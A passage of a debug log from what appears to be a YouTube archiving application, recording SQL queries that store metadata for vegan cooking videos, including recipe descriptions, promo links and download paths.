s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.542 [debug] QUERY OK source="media_items" db=2.5ms idle=9.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-24 00:00:00Z], 1] 20:31:07.544 [debug] QUERY OK source="media_items" db=1.5ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video you’ll see everything we bought in this healthy vegan Costco grocery haul! After returning from a fun, indulgent vacation we wanted to fill up on tons of healthy, whole food, plant based foods. We’ll be making so many good, wholesome and steamy recipes this Spring so be sure to subscribe so you miss nothing!\n\nTOTAL SPENT = $300 CAD / $218 USD\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGAN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "HEALTHY Vegan Costco Grocery Haul for Spring! Whole Food, Plant-Based, Gluten-Free", "0a4889d5-1d1d-4e07-96fd-1764a18018bb", 1, [], false, "QfaiVe8V7t4", "https://www.youtube.com/watch?v=QfaiVe8V7t4", 201, "/downloads/downloads/alec/Steamy Vegan/2024-04-24 HEALTHY Vegan Costco Grocery Haul for Spring! Whole Food, Plant-Based, Gluten-Free/HEALTHY Vegan Costco Grocery Haul for Spring! Whole Food, Plant-Based, Gluten-Free [QfaiVe8V7t4].NA", false, false, false, 1, ~U[2024-04-24 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video you’ll see everything we bought in this healthy vegan Costco grocery haul! After returning from a fun, indulgent vacation we wanted to fill up on tons of healthy, whole food, plant based foods. We’ll be making so many good, wholesome and steamy recipes this Spring so be sure to subscribe so you miss nothing!\n\nTOTAL SPENT = $300 CAD / $218 USD\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGAN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "HEALTHY Vegan Costco Grocery Haul for Spring! Whole Food, Plant-Based, Gluten-Free", 1, nil, false, "QfaiVe8V7t4", "https://www.youtube.com/watch?v=QfaiVe8V7t4", "/downloads/downloads/alec/Steamy Vegan/2024-04-24 HEALTHY Vegan Costco Grocery Haul for Spring! Whole Food, Plant-Based, Gluten-Free/HEALTHY Vegan Costco Grocery Haul for Spring! Whole Food, Plant-Based, Gluten-Free [QfaiVe8V7t4].NA", false, ~U[2024-04-24 00:00:00Z]] 20:31:07.545 [debug] QUERY OK source="sources" db=0.6ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.547 [debug] QUERY OK source="media_items" db=2.0ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-21 00:00:00Z], 1] 20:31:07.549 [debug] QUERY OK source="media_items" db=1.4ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Hang out with me as I show you what I eat in a week as a vegan in Puerto Vallarta, Mexico! In this travel vlog I'm showing you all the yummy vegan meals I ate throughout the week, what I got up to exploring Puerto Vallarta and Sayulita, and how we mostly just chilled out for the week.\n\nLooking for more 'What I Eat in a Day' videos? Watch this playlist next! \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nWhere we stayed:\nRIU PALACE PACIFICO, PUERTO VALLARTA, MEXICO\nThis is our 2nd time staying at a Riu resort and they really have the best service and amazing food and drinks!\n\nWhere we visited:\nSAYULITA, MEXICO\n\nPLANETA CACAO, Cacao Plantation & Chocolate Artisan https://planetacacao.mx/\nAn awesome experience, highly recommend if you want to learn all about cacao and make some delicious chocolate :) \n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Week as a Vegan in MEXICO ☀️ 🇲🇽 Travel vlog!", "2494eb33-a474-4745-a42d-fc21ac8f2053", 1, [], false, "bq4M1jL5AoQ", "https://www.youtube.com/watch?v=bq4M1jL5AoQ", 202, "/downloads/downloads/alec/Steamy Vegan/2024-04-21 What I Eat in a Week as a Vegan in MEXICO ☀️ 🇲🇽 Travel vlog!/What I Eat in a Week as a Vegan in MEXICO ☀️ 🇲🇽 Travel vlog! [bq4M1jL5AoQ].NA", false, false, false, 1, ~U[2024-04-21 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Hang out with me as I show you what I eat in a week as a vegan in Puerto Vallarta, Mexico! In this travel vlog I'm showing you all the yummy vegan meals I ate throughout the week, what I got up to exploring Puerto Vallarta and Sayulita, and how we mostly just chilled out for the week.\n\nLooking for more 'What I Eat in a Day' videos? Watch this playlist next! \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nWhere we stayed:\nRIU PALACE PACIFICO, PUERTO VALLARTA, MEXICO\nThis is our 2nd time staying at a Riu resort and they really have the best service and amazing food and drinks!\n\nWhere we visited:\nSAYULITA, MEXICO\n\nPLANETA CACAO, Cacao Plantation & Chocolate Artisan https://planetacacao.mx/\nAn awesome experience, highly recommend if you want to learn all about cacao and make some delicious chocolate :) \n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Week as a Vegan in MEXICO ☀️ 🇲🇽 Travel vlog!", 1, nil, false, "bq4M1jL5AoQ", "https://www.youtube.com/watch?v=bq4M1jL5AoQ", "/downloads/downloads/alec/Steamy Vegan/2024-04-21 What I Eat in a Week as a Vegan in MEXICO ☀️ 🇲🇽 Travel vlog!/What I Eat in a Week as a Vegan in MEXICO ☀️ 🇲🇽 Travel vlog! [bq4M1jL5AoQ].NA", false, ~U[2024-04-21 00:00:00Z]] 20:31:07.550 [debug] QUERY OK source="sources" db=0.6ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.553 [debug] QUERY OK source="media_items" db=2.1ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-19 00:00:00Z], 1] 20:31:07.555 [debug] QUERY OK source="media_items" db=1.8ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you all the high-protein vegan meals that I ate in a day before going on vacation! \n\nLooking for more What I Eat in a Day inspo? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nBreakfast\nBanana Nut Mocha Protein Quinoa Bowls \n1 cup cooked quinoa\n½ a protein shake (half scoop of protein powder & 6oz plant milk)\nToppings:\nSliced banana, chopped pecans, cinnamon & hemp hearts\n\nLunch\nLeftover Sumac Salad & Moroccan Lentil & Cauli Salad (recipe video here! ➡️ \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0)\nCrispy baked tofu (my recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0Best\u00A0Way\u00A0to\u00A0Cook\u00A0Tofu\u00A0|\u00A0How\u00A0to\u00A0make\u00A0to...\u00A0\u00A0)\n\nDinner\nLemony Garlic Roasted Potatoes\nMarinade:\n¼ cup lemon juice\n3 tbsp preserved lemon purée\n6 cloves garlic, minced\n3 tbsp tahini\n2 tbsp maple syrup\n1 tsp lemon pepper\n3 tbsp fresh chopped herbs\n2 tbsp avocado oil\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan Before Going on Vacation ☀️🏝", "de3a5a90-85fe-41ff-b29d-f6bd7775eb4f", 1, [], false, "foSJQMLgiz4", "https://www.youtube.com/watch?v=foSJQMLgiz4", 203, "/downloads/downloads/alec/Steamy Vegan/2024-04-19 What I Eat in a Day as a Vegan Before Going on Vacation ☀️🏝/What I Eat in a Day as a Vegan Before Going on Vacation ☀️🏝 [foSJQMLgiz4].NA", false, false, false, 1, ~U[2024-04-19 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm showing you all the high-protein vegan meals that I ate in a day before going on vacation! \n\nLooking for more What I Eat in a Day inspo? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nBreakfast\nBanana Nut Mocha Protein Quinoa Bowls \n1 cup cooked quinoa\n½ a protein shake (half scoop of protein powder & 6oz plant milk)\nToppings:\nSliced banana, chopped pecans, cinnamon & hemp hearts\n\nLunch\nLeftover Sumac Salad & Moroccan Lentil & Cauli Salad (recipe video here! ➡️ \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0)\nCrispy baked tofu (my recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0Best\u00A0Way\u00A0to\u00A0Cook\u00A0Tofu\u00A0|\u00A0How\u00A0to\u00A0make\u00A0to...\u00A0\u00A0)\n\nDinner\nLemony Garlic Roasted Potatoes\nMarinade:\n¼ cup lemon juice\n3 tbsp preserved lemon purée\n6 cloves garlic, minced\n3 tbsp tahini\n2 tbsp maple syrup\n1 tsp lemon pepper\n3 tbsp fresh chopped herbs\n2 tbsp avocado oil\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan Before Going on Vacation ☀️🏝", 1, nil, false, "foSJQMLgiz4", "https://www.youtube.com/watch?v=foSJQMLgiz4", "/downloads/downloads/alec/Steamy Vegan/2024-04-19 What I Eat in a Day as a Vegan Before Going on Vacation ☀️🏝/What I Eat in a Day as a Vegan Before Going on Vacation ☀️🏝 [foSJQMLgiz4].NA", false, ~U[2024-04-19 00:00:00Z]] 20:31:07.557 [debug] QUERY OK source="sources" db=0.8ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.560 [debug] QUERY OK source="media_items" db=2.4ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-16 00:00:00Z], 1] 20:31:07.563 [debug] QUERY OK source="media_items" db=2.2ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video we're going over 2 healthy salad recipes that everyone should know how to make! These lentil recipes are high-protein, low calorie meals, plant-based, and SO easy to make. \n\nNeed more healthy meal inspiration? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n\nSumac Lentil Salad – Serves 6, 380 cal, 19g protein\n\n4 cups canned/cooked brown lentils, cooled\n2 cups cooked quinoa (¾ cup dry)\n3 roma tomatoes, chopped, seeds removed\n1 small white onion, diced\n½ large cucumber, diced\n3 stalks celery, sliced diagonally\n½ cup dried cranberries\n⅓ cup sunflower seeds\n⅓ cup parsley, minced (sub: basil, cilantro)\n\nDRESSING:\n½ cup vegan sour cream\n¼ cup red wine vinegar \n1 tbsp sumac\n2 cloves garlic, minced\nPinch red chili flakes\n½ tsp salt, pepper to taste\n\n1. Combine all the ingredients minus the salad dressing ingredients in a large serving bowl and place in the fridge to chill while we make the dressing.\n2. In smaller bowl, whisk together all the dressing ingredients until well combined. If the dressing is too thick (not pourable) add a few tbsp of water at a time until it becomes slightly runnier and pourable, but still nice and thick.\n3. Pour the dressing over the salad and toss well to combine. Top with additional fresh chopped herbs if you like, and chill for 30 to 60 minutes before serving. Or enjoy right away!\n\nMoroccan Lentil & Cauliflower Salad - Serves 6, 440 Cal, 21g protein\n\nMoroccan spice blend:\n½ tbsp coconut sugar\n1 tsp paprika\n1 tsp cumin\n½ tsp cinnamon\n¼ tsp ground cloves\n¼ tsp ground ginger\n¼ tsp turmeric\n¼ tsp salt\n½ tsp ground black pepper\n¼ tsp cayenne pepper (or more to taste)\n\nDressing: \n2 tbsp maple syrup\n¼ cup tahini\n¼ cup lemon juice (about 1½ lemons)\n2 garlic cloves, finely minced\n1 tbsp moroccan spice blend\n\n1 head of cauliflower, cut into florets\n3 cups kale, chopped well\n2 bell peppers, diced\n1 carrot, shredded\n½ cup mint leaves, minced\n4 cups cooked/canned brown lentils (cooled if just cooked)\n⅓ cup medjool dates, chopped\n½ cup chopped cashews\n\n1. Set oven rack the to the top and preheat oven to 425F. \n2. In a small jar combine all the spices to create a blend, place the lid on and give the jar a good shake until the spices are well combined.\n3. Toss cauliflower with 1 tbsp spice blend and ½ tbsp oil, transfer to a parchment or silicone lined baking tray and roast on the top rack 30 to 35 mins, or until golden in colour. Then set aside to cool to room temp.\n4. In a small jar or bowl, add all of the dressing ingredients and whisk or shake to combine. Set aside.\n5. In a large serving bowl combine the remaining salad ingredients, including the cooled cauliflower, pour over the entire jar/bowl of dressing and toss everything to combine. Chill for 30 to 60 minutes before serving and enjoy!\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy Salad Recipes Using Lentils Everyone Should Know", "c5396569-ae65-4d94-a547-7f8a17611d50", 1, [], false, "CDa7dwJeZqU", "https://www.youtube.com/watch?v=CDa7dwJeZqU", 204, "/downloads/downloads/alec/Steamy Vegan/2024-04-16 Healthy Salad Recipes Using Lentils Everyone Should Know/Healthy Salad Recipes Using Lentils Everyone Should Know [CDa7dwJeZqU].NA", false, false, false, 1, ~U[2024-04-16 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video we're going over 2 healthy salad recipes that everyone should know how to make! These lentil recipes are high-protein, low calorie meals, plant-based, and SO easy to make. \n\nNeed more healthy meal inspiration? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n\nSumac Lentil Salad – Serves 6, 380 cal, 19g protein\n\n4 cups canned/cooked brown lentils, cooled\n2 cups cooked quinoa (¾ cup dry)\n3 roma tomatoes, chopped, seeds removed\n1 small white onion, diced\n½ large cucumber, diced\n3 stalks celery, sliced diagonally\n½ cup dried cranberries\n⅓ cup sunflower seeds\n⅓ cup parsley, minced (sub: basil, cilantro)\n\nDRESSING:\n½ cup vegan sour cream\n¼ cup red wine vinegar \n1 tbsp sumac\n2 cloves garlic, minced\nPinch red chili flakes\n½ tsp salt, pepper to taste\n\n1. Combine all the ingredients minus the salad dressing ingredients in a large serving bowl and place in the fridge to chill while we make the dressing.\n2. In smaller bowl, whisk together all the dressing ingredients until well combined. If the dressing is too thick (not pourable) add a few tbsp of water at a time until it becomes slightly runnier and pourable, but still nice and thick.\n3. Pour the dressing over the salad and toss well to combine. Top with additional fresh chopped herbs if you like, and chill for 30 to 60 minutes before serving. Or enjoy right away!\n\nMoroccan Lentil & Cauliflower Salad - Serves 6, 440 Cal, 21g protein\n\nMoroccan spice blend:\n½ tbsp coconut sugar\n1 tsp paprika\n1 tsp cumin\n½ tsp cinnamon\n¼ tsp ground cloves\n¼ tsp ground ginger\n¼ tsp turmeric\n¼ tsp salt\n½ tsp ground black pepper\n¼ tsp cayenne pepper (or more to taste)\n\nDressing: \n2 tbsp maple syrup\n¼ cup tahini\n¼ cup lemon juice (about 1½ lemons)\n2 garlic cloves, finely minced\n1 tbsp moroccan spice blend\n\n1 head of cauliflower, cut into florets\n3 cups kale, chopped well\n2 bell peppers, diced\n1 carrot, shredded\n½ cup mint leaves, minced\n4 cups cooked/canned brown lentils (cooled if just cooked)\n⅓ cup medjool dates, chopped\n½ cup chopped cashews\n\n1. Set oven rack the to the top and preheat oven to 425F. \n2. In a small jar combine all the spices to create a blend, place the lid on and give the jar a good shake until the spices are well combined.\n3. Toss cauliflower with 1 